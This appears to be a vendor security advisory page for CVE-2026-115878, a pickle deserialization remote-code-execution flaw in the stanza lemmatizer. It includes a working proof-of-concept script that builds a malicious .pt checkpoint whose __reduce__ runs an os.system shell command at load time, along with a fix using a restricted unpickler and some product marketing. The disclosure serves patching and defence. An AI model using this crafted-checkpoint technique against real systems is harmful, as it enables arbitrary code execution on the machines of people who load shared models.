CVE-2026-115878

CVE-2026-115878 is a high-severity code injection vulnerability in stanza (pip), affecting versions = 1.14.0. It is fixed in 1.15.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Stanza: RCE via pickle deserialization in the lemmatizer

TL;DR

Loading an attacker-supplied lemma .pt runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores pos_dict as a gzip-compressed pickle in the checkpoint's dicts field (a bytes value). torch.load(weights_only=True) treats bytes as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. Trainer.load then feeds those bytes to an unrestricted pickle.loads: the only bare pickle.loads in the tree. Result: weights_only=True gives no protection here, and model loading executes code.

Confirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload __reduce__ returns (os.system, (cmd,)) ran the command at load time (marker file showed uid=501(...), executed_by=...).

A downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. stanza.Pipeline(lang=..., processors="tokenize,pos,lemma", lemma_model_path="<attacker-influenced .pt>") (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into Trainer.load -> _unpack_pos_dict and executes the embedded pickle at construction time.

The vulnerable path

stanza/models/lemma/trainer.py:

# _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts']

def _unpack_pos_dict(data):                 # line 54
    buf = io.BytesIO(data)
    with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
        raw = gz.read()
    return pickle.loads(raw)                # <-- unrestricted default unpickler
def load(self, filename, ...):              # line 365
    checkpoint = torch.load(filename, ..., weights_only=True)   # outer allowlist; bytes pass through intact
    ...
    if dicts_version == _DICTS_VERSION_POS:                     # dicts_version == 2 (current format)
        self.pos_dict = _unpack_pos_dict(checkpoint['dicts'])   # line 378, no validation

Reachable from the documented API. stanza.Pipeline(..., lemma_model_path=<file>) -> LemmaProcessor._set_up_model -> Trainer(model_file=…) -> Trainer.load. Any shared/distributed checkpoint, custom registry, or caller-supplied lemma_model_path reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed.

Note: this is not the weights_only=False fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle.

Minimal PoC

import gzip, io, os, pickle, tempfile, torch
from stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS

MARKER = os.path.join(tempfile.gettempdir(), "stanza_lemma_poc_pwned")

class Payload:
    def __reduce__(self):
        return (os.system, ("id > %s 2>&1; echo executed_by=$(whoami) >> %s" % (MARKER, MARKER),))

buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb") as gz:        # same shape as _pack_pos_dict()
    gz.write(pickle.dumps(Payload(), protocol=4))

ckpt = {"dicts": buf.getvalue(), "dicts_version": _DICTS_VERSION_POS}
pt = os.path.join(tempfile.gettempdir(), "evil_lemma.pt")
torch.save(ckpt, pt, _use_new_zipfile_serialization=False)

loaded = torch.load(pt, lambda s, l: s, weights_only=True)   # SUCCEEDS; dicts is bytes, intact
_unpack_pos_dict(loaded["dicts"])                            # == trainer.py:378 -> command runs
print("pwned:", open(MARKER).read().strip())

The PoC calls _unpack_pos_dict directly: the exact expression at trainer.py:378. Reaching it through stanza.Pipeline(...) additionally requires the crafted file to carry a well-formed config/vocab so load runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime.

Impact

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2026-115878 has a CVSS score of 7.8 (High). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.15.0); upgrading removes the vulnerable code path.

Affected versions

stanza (= 1.14.0)

Security releases

stanza → 1.15.0 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Deserialize the inner stream with the RestrictedUnpickler the project already uses in stanza/models/common/doc.py (allowlists tuple/list/dict only):

from stanza.models.common.doc import RestrictedUnpickler

def _unpack_pos_dict(data):
    buf = io.BytesIO(data)
    with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
        raw = gz.read()
    return RestrictedUnpickler(io.BytesIO(raw)).load()

A legitimate pos_dict is a nested {pos: {word: lemma}} string mapping no class/function globals, so it loads cleanly, while any os.system-style payload is rejected by find_class. JSON would work equally well (all keys/values are strings) and remove pickle from this path entirely. Apply to both _unpack_pos_dict and, for forward compatibility, _pack_pos_dict.

Frequently Asked Questions

  1. What is CVE-2026-115878? CVE-2026-115878 is a high-severity code injection vulnerability in stanza (pip), affecting versions = 1.14.0. It is fixed in 1.15.0. Untrusted input is evaluated as executable code within the application's runtime environment.
  2. How severe is CVE-2026-115878? CVE-2026-115878 has a CVSS score of 7.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of stanza are affected by CVE-2026-115878? stanza (pip) versions = 1.14.0 is affected.
  4. Is there a fix for CVE-2026-115878? Yes. CVE-2026-115878 is fixed in 1.15.0. Upgrade to this version or later.
  5. Is CVE-2026-115878 exploitable, and should I be worried? Whether CVE-2026-115878 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-115878 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-115878? Upgrade stanza to 1.15.0 or later.

Other vulnerabilities in stanza

Stop the waste.
Protect your environment with Kodem.